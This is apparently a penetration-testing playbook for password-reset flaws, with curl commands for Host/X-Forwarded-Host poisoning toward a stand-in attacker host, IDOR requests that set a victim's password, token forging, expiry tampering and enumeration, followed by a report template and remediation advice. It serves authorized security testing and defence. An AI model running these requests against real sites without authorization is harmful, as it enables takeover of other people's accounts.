Testing Password Reset Flaws
When to Use
- During authorized penetration tests of any "forgot password" / account-recovery flow
- When the application emails a reset link or token and you need to verify it is unguessable, single-use, and bound to the right user
- For validating that the reset endpoint cannot be poisoned via Host/X-Forwarded-Host to redirect tokens to an attacker
- When testing the user-identification parameter for IDOR that lets you reset another account's password
- During bug bounty programs targeting account takeover and broken authentication (OWASP A07:2021)
Prerequisites
- Authorization: Written penetration testing agreement for the target application
- Burp Suite Professional: Proxy + Repeater + Intruder + Sequencer (token entropy)
- Two test accounts: attacker-controlled inbox(es) plus a victim account you own
- A catch-all / Burp Collaborator domain: to observe poisoned reset links landing on an attacker host
- curl / httpie: For manual header injection and token replay
- Access to the reset emails: to capture real tokens and link structure
Critical: Checks Most Often Missed
Password reset is one of the most reliable account-takeover surfaces. For every reset flow, work through this checklist:
- Host header poisoning (highest signal): send the reset request with a
spoofed
Host:orX-Forwarded-Host: attacker.com(also tryX-Forwarded-Server,X-Host, danglingHost: target.com:@attacker.com, absolute request line). If the emailed link points toattacker.com/reset?token=..., the victim's token is exfiltrated when they click — zero-interaction takeover. - IDOR on the identification parameter: the reset confirm step often carries
user,email,user_id, oraccountalongside the token. Swap it to the victim while keeping your own valid token to set the victim's password. - Token not invalidated after use / no expiry: reuse a token after a successful reset, or use it long after issuance. Reusable or eternal tokens defeat single-use semantics.
- Weak token entropy / sequential tokens: request many resets rapidly and compare tokens. Incrementing counters, timestamps, or short tokens are predictable — generate the victim's token offline.
- No session/token invalidation after reset: old sessions of the victim stay valid after their password changes, and other outstanding reset tokens still work.
- Reset link over HTTP: the link uses
http://, leaking the token over cleartext and via referrers. - Date/time params used to revalidate expired links: links containing
expires=/ts=/timestamp=that the server trusts — tamper the value to resurrect an expired token. - Account enumeration via reset responses: different message, status code, or response time for existing vs. non-existing accounts reveals valid users.
- Token leakage: token in the URL is exposed via
Refererto third-party assets loaded on the reset page, and in browser history / server logs.
Workflow
Step 1: Map the Reset Flow and Capture a Real Token
Walk the full flow and record every parameter and the email link structure.
# 1) Request a reset for an account you control; capture the request
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@yourinbox.com"}'
# 2) Read the email you receive and note the link shape, e.g.:
# https://target.example.com/reset?token=8f2a9c...&user=1337
# (record token length/charset and any user/email/expires params)
# 3) Capture the confirm/submit request that actually sets the new password
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","user":1337,"password":"NewPassw0rd!"}'
Step 2: Host Header / X-Forwarded-Host Poisoning
Force the emailed link to point at an attacker-controlled host.
# Variant A: override the Host header outright
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'
# Variant B: X-Forwarded-Host (and siblings) behind a proxy
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: target.example.com" \
-H "X-Forwarded-Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'
# Other headers/tricks to try one at a time:
# X-Forwarded-Server: attacker.evil.com
# X-Host: attacker.evil.com
# X-Forwarded-Host: attacker.evil.com, target.example.com
# Host: target.example.com:@attacker.evil.com
# Host: target.example.com\n\rHost: attacker.evil.com (CRLF dual host)
# RESULT: inspect the victim's email (or your Collaborator/catch-all). If the
# reset link reads https://attacker.evil.com/reset?token=... the token is
# delivered to you when the victim clicks => account takeover.
Step 3: Token Entropy and Sequential-Token Harvesting
Determine whether tokens are predictable or guessable.
# Rapidly request many resets and diff the tokens
for i in $(seq 1 20); do
curl -s -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker+'"$i"'@yourinbox.com"}' >/dev/null
# then read each email and append the token to tokens.txt
done
# Look for structure:
# - incrementing integers / counters
# - unix timestamps or millisecond clocks (predict from request time)
# - short hex/base36 (brute forceable)
# - md5(email) or md5(userid) style (forgeable offline)
# Statistical entropy on captured tokens with Burp Sequencer:
# Burp > send a forgot-password response containing the token to Sequencer
# > Live capture thousands > Analyze for low effective bits / patterns.
# If md5/sha of a known value is suspected, confirm:
echo -n "victim@corp.com" | md5sum
# compare to the victim's observed/derived token
Step 4: IDOR on the User-Identification Parameter
Reset another user's password using your own valid token.
# Use a VALID token issued to YOUR account, but change the user/email param
# on the confirm step to the victim. If the server keys off the param instead
# of binding the token to the account, the victim's password is set.
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"<YOUR_VALID_TOKEN>","user":4242,"password":"Pwned123!"}'
# Variations to test:
# {"token":"<YOURS>","email":"victim@corp.com","password":"Pwned123!"}
# /api/password/reset?token=<YOURS>&user_id=4242 (param in query)
# parameter pollution: user=<you>&user=<victim>
# add the victim id in a header the backend trusts (X-User-Id: 4242)
# Confirm by logging in as the victim with the new password.
Step 5: Token Reuse, Expiry, and Date-Param Tampering
Test single-use semantics and link-expiry trust.
# --- Reuse after a successful reset ---
# Complete a reset with a token, then submit the SAME token again:
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","password":"Again123!"}'
# 200 = token not invalidated after use (reusable).
# --- Expiry bypass via date/time parameter ---
# If the link is .../reset?token=...&expires=1716000000 and the server trusts
# the param, push it into the future to revive an expired token:
curl -s -i "https://target.example.com/reset?token=OLD_EXPIRED&expires=9999999999"
# Also try removing the expires/ts param, or setting it to a far-future epoch.
# --- No session invalidation after reset ---
# Capture a victim session cookie BEFORE reset, perform the reset, then replay:
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: SESSIONID=victim-old..." \
"https://target.example.com/account" # 200 = old session survives reset
Step 6: Enumeration, HTTP Transport, and Token Leakage
Check disclosure side-channels and transport security.
# --- Account enumeration via differing responses ---
# Existing vs non-existing account: compare body, status, and timing.
curl -s -o /dev/null -w "exists: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"real@corp.com"}'
curl -s -o /dev/null -w "missing: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"nobody-xyz@corp.com"}'
# Different message ("email sent" vs "no account"), code, or a consistent
# timing gap => username enumeration.
# --- Reset link over HTTP ---
# Inspect the emailed link scheme; http:// leaks the token over cleartext.
# --- Token leakage via Referer to third parties ---
# Load the reset page through Burp and check outbound requests: if the page
# embeds external analytics/fonts/images, the Referer header carries
# ...?token=... to those third-party domains, leaking the token.
Key Concepts
| Concept | Description |
|---|---|
| Host Header Poisoning | Server builds the reset link from a client-controlled Host/X-Forwarded-Host, sending the token to an attacker domain |
| Token Entropy | Unpredictability of the reset token; low entropy or structure enables guessing/forgery |
| Sequential Tokens | Tokens derived from counters/timestamps that can be predicted from a known value |
| Single-Use Semantics | A reset token must be invalidated immediately after one successful use |
| Identification-Parameter IDOR | Token not bound to the account; swapping user/email resets another user |
| Session Invalidation | All sessions and other outstanding tokens must be revoked when a password changes |
| Expiry Trust | Server trusting a client-supplied expires/ts param instead of server-side state |
| Account Enumeration | Differing reset responses/timing reveal which emails are registered |
| Token Leakage | Reset token exposed via HTTP transport, Referer to third parties, logs, or history |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercept/modify reset requests, inject Host headers, replay tokens |
| Burp Sequencer | Measure reset-token entropy across many captured samples |
| Burp Collaborator / catch-all domain | Observe poisoned reset links landing on an attacker host |
| Burp Intruder / ffuf | Brute force short/sequential tokens and enumerate accounts |
| curl / httpie | Manual Host-header injection, IDOR parameter swaps, token replay |
| OWASP ZAP | Free proxy alternative for header tampering and fuzzing |
Common Scenarios
Scenario 1: X-Forwarded-Host Token Theft
The application generates the reset link using the incoming X-Forwarded-Host header. An attacker submits a reset for the victim with X-Forwarded-Host: attacker.com; the victim receives an email whose link points to attacker.com/reset?token=.... Clicking it leaks the token, enabling takeover.
Scenario 2: Identification IDOR
The reset confirm endpoint accepts {"token":..., "email":...} but only validates that the token is non-expired, not that it belongs to that email. An attacker uses their own valid token with the victim's email to set the victim's password.
Scenario 3: Predictable Token
Reset tokens are md5(email + small_counter). After observing the structure from their own resets, the attacker computes the victim's token offline and resets without any email access.
Scenario 4: Token Reuse and No Session Kill
After a reset, the old token still works and the victim's pre-reset sessions remain valid, so a previously stolen session or a re-sent token retains access.
Output Format
## Password Reset Finding
**Vulnerability**: Account Takeover via Host Header Poisoning
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/password/forgot (reset link generation)
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Send POST /api/password/forgot for victim@corp.com with header X-Forwarded-Host: attacker.evil.com
2. Observe (via catch-all/Collaborator) the victim's reset email links to https://attacker.evil.com/reset?token=...
3. When the victim opens the link, the token is delivered to the attacker host
4. Replay the token against POST /api/password/reset to set a new password and log in as the victim
### Tested Weaknesses
| Test | Result |
|------|--------|
| Host / X-Forwarded-Host poisoning | Link host attacker-controlled |
| Identification-param IDOR | email param swappable |
| Token reuse after success | Reusable |
| Session invalidation after reset | Old sessions survive |
| Account enumeration | Distinct message for unknown email |
| Reset link transport | http:// (token in cleartext) |
### Impact
- Zero-to-one-click account takeover of any user by email address
- Reusable tokens and surviving sessions defeat remediation
- Enumeration enables targeted attacks at scale
### Recommendation
1. Build reset links from a server-side allowlisted canonical host; ignore Host/X-Forwarded-Host
2. Bind the token to the account server-side; never trust client user/email/expires params
3. Generate 128-bit CSPRNG tokens, single-use, short-lived, delivered only over HTTPS
4. Invalidate all sessions and outstanding tokens on successful reset
5. Return an identical, generic response for existing and non-existing accounts